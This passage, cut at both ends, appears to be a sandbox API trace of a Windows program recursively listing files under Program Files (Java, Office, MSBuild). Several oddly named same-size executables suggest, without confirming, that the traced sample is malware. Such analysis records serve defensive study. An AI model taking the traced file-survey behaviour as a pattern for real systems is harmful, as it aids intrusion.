ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.893] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448c9460, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448c9460, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0057.894] GetLastError () returned 0x12 [0057.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\policy\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\policy\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0057.895] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.895] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448c9460, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448c9460, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="limited", cAlternateFileName="")) returned 1 [0057.896] GetLastError () returned 0x12 [0057.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\policy\\limited\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\policy\\limited\\*"), lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448c9460, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448c9460, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0057.897] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448c9460, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448c9460, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.897] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448c9460, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448c9460, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0057.897] GetLastError () returned 0x12 [0057.897] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0057.897] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0057.897] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unlimited", cAlternateFileName="UNLIMI~1")) returned 1 [0057.897] GetLastError () returned 0x12 [0057.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\policy\\unlimited\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\policy\\unlimited\\*"), lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0057.898] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.898] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0057.898] GetLastError () returned 0x12 [0057.898] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0057.898] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0057.898] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unlimited", cAlternateFileName="UNLIMI~1")) returned 0 [0057.898] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0057.898] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.898] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0057.898] GetLastError () returned 0x12 [0057.898] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.898] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.898] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0057.898] GetLastError () returned 0x12 [0057.898] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0057.899] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0057.900] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44289aa0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44289aa0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44289aa0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0057.900] GetLastError () returned 0x12 [0057.900] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.902] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0057.903] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3dc8950, ftCreationTime.dwHighDateTime=0x1d845ea, ftLastAccessTime.dwLowDateTime=0x6be1e430, ftLastAccessTime.dwHighDateTime=0x1d866cb, ftLastWriteTime.dwLowDateTime=0x6be1e430, ftLastWriteTime.dwHighDateTime=0x1d866cb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="music.exe", cAlternateFileName="")) returned 1 [0057.903] GetLastError () returned 0x12 [0057.903] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0057.903] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0057.904] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0057.904] GetLastError () returned 0x12 [0057.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*" (normalized: "c:\\program files\\microsoft office\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0057.905] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.905] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24f84c70, ftCreationTime.dwHighDateTime=0x1d8aa1f, ftLastAccessTime.dwLowDateTime=0x8c491100, ftLastAccessTime.dwHighDateTime=0x1d8ae13, ftLastWriteTime.dwLowDateTime=0x8c491100, ftLastWriteTime.dwHighDateTime=0x1d8ae13, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="homenothingbook.exe", cAlternateFileName="HOMENO~1.EXE")) returned 1 [0057.905] GetLastError () returned 0x12 [0057.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*" (normalized: "c:\\program files\\microsoft office\\office16\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9270c20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0057.906] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9270c20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.906] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd57f8fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0057.906] GetLastError () returned 0x12 [0057.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\*" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd57f8fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0057.906] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd57f8fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.906] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddadc500, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xd56ee620, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xddadc500, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x2ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0057.906] GetLastError () returned 0x12 [0057.907] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0057.907] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0057.907] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48accb00, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8b4ca20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x48accb00, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x78a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSharingChromeHook64.dll", cAlternateFileName="APPSHA~1.DLL")) returned 1 [0057.907] GetLastError () returned 0x12 [0057.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\*" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9081a40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0057.909] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9081a40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.909] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc091cd00, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xc091cd00, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnms006.inf", cAlternateFileName="")) returned 1 [0057.909] GetLastError () returned 0x12 [0057.909] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0057.910] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0057.910] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a9ef00, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd905b8e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x86a9ef00, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x3130b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0057.910] GetLastError () returned 0x12 [0057.910] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.911] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.911] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9270c20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0 [0057.911] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0057.911] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0057.912] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc67ea590, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc67ea590, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0057.912] GetLastError () returned 0x12 [0057.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\*" (normalized: "c:\\program files\\msbuild\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc67ea590, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc67ea590, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0057.912] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc67ea590, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc67ea590, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.912] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b33b70, ftCreationTime.dwHighDateTime=0x1d86a2e, ftLastAccessTime.dwLowDateTime=0xf61cc510, ftLastAccessTime.dwHighDateTime=0x1d86ce9, ftLastWriteTime.dwLowDateTime=0xf61cc510, ftLastWriteTime.dwHighDateTime=0x1d86ce9, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1 [0057.912] GetLastError () returned 0x12 [0057.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\*" (normalized: "c:\\program files\\msbuild\\microsoft\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0057.914] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.914] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0057.914] GetLastError () returned 0x12 [0057.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\*"), 